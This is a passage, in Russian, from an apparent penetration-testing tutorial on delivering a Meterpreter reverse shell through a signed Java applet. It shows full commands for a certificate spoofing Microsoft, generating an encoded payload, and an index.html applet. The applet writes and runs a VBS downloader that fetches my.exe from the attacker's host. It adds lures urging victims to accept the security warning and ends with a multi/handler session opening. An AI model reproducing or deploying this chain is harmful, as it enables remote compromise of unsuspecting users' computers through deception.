Is CN=MSFcmd, OU=Microsoft, O=Microsoft Organization, L=Redmond, ST=Washington, C=US correct? [no]: yes
 
[+] Signing the JAR file
 
Warning:
The signer certificate will expire within six months.
[+] Exporting the public key certificate
Certificate stored in file
[+] Done

Все готово, мы должны подготовить наши JAR и class файлы для веб-сервера.

root@bt4:/java-applet/# cp SignedMSFcmd.jar /var/www/
 
root@bt4:/java-applet/# cp MSFcmd.class /var/www/
 
root@bt4:/java-applet/# apache2ctl start

Теперь, когда аплет на месте, мы подготовим полезную нагрузку Meterpreter. Измените в примере ниже 'X.X.X.X' на IP адрес атакующего. Эта команда используя msfpayload создает Reverse TCP Meterpreter Shell для нашей жертвы. Мы генерируем полезную нагрузку в «сыром» формате и подаем на вход msfencode, сохраняем файл исполняемым. Исполняемый файл копируется в директорию веб-сервера, затем на него выставляются права на запуск.

root@bt4:/pentest/exploits/framework3/# ./msfpayload windows/meterpreter/reverse_tcp LHOST=X.X.X.X LPORT=443 R | ./msfencode -t exe -o my.exe
 
root@bt4:/pentest/exploits/framework3/# cp ./my.exe /var/www/
 
root@bt4:/pentest/exploits/framework3/# chmod a+x /var/www/my.exe

Далее мы должны добавить команду запускающую полезную нагрузку в файл index.html. В общем эта страница будет запускать JAVA-Аплет, подписанный нами, который, получив разрешение от клиента, запустит cmd.exe из своей системы, повторяя строчки в VBS-скрипт с именем "apsou.vbs". Не забудьте, что этот файл можно найти в системе после всех успешных и "некоторых" неудачных попыток. После того, как файл создан, та же самая командная строка запускает VBS-скрипт и в качестве переменной подает ему ссылку на систему атакующего, где расположен файл "my.exe". Как только полезная нагрузка будет загружена, она запустит "my.exe" с правами пользователя, запустившего браузер.
Модифицируем файл index.html, первое,что загрузит в свой браузер клиент сайта. В реальном мире, контент сайта можно разнообразить видео, веб-браузерными играми, или другими мероприятиями, чтобы развлечь или отвлечь жертву. Социальная инженерия может сыграть огромную пользу, направив вашу жертву к определенному URL, предупредите жертву, чтобы та согласилась с предупреждением безопасности, для дальнейшего просмотра вашего сайта или использования вашего «очень безопасного IM апплета». Вы также можете разместить различные полезные нагрузки в разных папках для разных клиентов. Введите следующую команду как одну непрерывную и не забудьте изменить 'XXXX' нападающего на ваш IP-адрес.

root@bt4:/pentest/exploits/framework3/# echo "<applet width='1' height='1' code='MSFcmd.class' archive='SignedMSFcmd.jar'>" > /var/www/index.html 
 
root@bt4:/pentest/exploits/framework3/# echo "<param name='first' value='cmd.exe /c echo Const adTypeBinary = 1 > C:\windows\apsou.vbs & echo Const adSaveCreateOverWrite = 2 >> C:\windows\apsou.vbs & echo Dim BinaryStream >> C:\windows\apsou.vbs & echo Set BinaryStream = CreateObject("ADODB.Stream") >> C:\windows\apsou.vbs & echo BinaryStream.Type = adTypeBinary >> C:\windows\apsou.vbs & echo BinaryStream.Open >> C:\windows\apsou.vbs & echo BinaryStream.Write BinaryGetURL(Wscript.Arguments(0)) >> C:\windows\apsou.vbs & echo BinaryStream.SaveToFile Wscript.Arguments(1), adSaveCreateOverWrite >> C:\windows\apsou.vbs & echo Function BinaryGetURL(URL) >> C:\windows\apsou.vbs & echo Dim Http >> C:\windows\apsou.vbs & echo Set Http = CreateObject("WinHttp.WinHttpRequest.5.1") >> C:\windows\apsou.vbs & echo Http.Open "GET", URL, False >> C:\windows\apsou.vbs & echo Http.Send >> C: windows\apsou.vbs & echo BinaryGetURL = Http.ResponseBody >> C:\windows\apsou.vbs & echo End Function >> C:\windows\apsou.vbs & echo Set shell = CreateObject("WScript.Shell") >> C:\windows\apsou.vbs & echo shell.Run "C:\windows\my.exe" >> C:\windows\apsou.vbs & start C:\windows\apsou.vbs http://X.X.X.X/my.exe C:\windows\my.exe'> </applet>" >> /var/www/index.html

На страницу нам также нужно добавить сообщение для пользователя, чтобы тот принял наш «вредоносный» апплет.

root@bt4:/pentest/exploits/framework3/# echo "" >> /var/www/index.html
 
root@bt4:/pentest/exploits/framework3/# echo "Please wait. We appreciate your business. This process may take a while." >> /var/www/index.html
 
root@bt4:/pentest/exploits/framework3/# echo "To view this page properly you must accept and run the applet.
We are sorry for any inconvenience. " >> /var/www/index.html

Теперь нам нужно использовать Metasploit multi/handler для ожидания соединений от клиентов. Для прослушки используем reverse shell на порту 443. Этот порт ассоциирован с HTTPS трафиком и поэтому большинство корпоративных брандмауэров разрешают «хождение трафика» через этот порт. Как и раньше замените 'X.X.X.X' на IP адрес атакующего.

msf > use exploit/multi/handler
msf exploit(handler) > set ExitOnSession false
ExitOnSession => false
msf exploit(handler) > set PAYLOAD windows/meterpreter/reverse_tcp
PAYLOAD => windows/meterpreter/reverse_tcp
msf exploit(handler) > set LHOST X.X.X.X
LHOST => X.X.X.X
msf exploit(handler) > set LPORT 443
LPORT +> 443
msf exploit(handler) > save
Saved configuration to: /root/.msf3/config
msf exploit(handler) >exploit -j
[*] Exploit running as background job.
[*] Started reverse handler
[*] Starting the payload handler...

Когда жертва просматривает наш сайт и принимает предупреждение системы безопасности, полезная нагрузка Meterpreter срабатывает и подключается к нашему обработчику.

msf exploit(handler) >
 [*] Sending stage   (718336 bytes)
 [*] Meterpreter session 1 opened (A.A.A.A:443 -> T.T.T.T:44477)
 msf exploit(handler) > sessions -i 1
 [*] Starting interaction with 1...
 
 meterpreter > ps
 
 Process list
============
 
     PID   Name           Path
     ---   ----           ----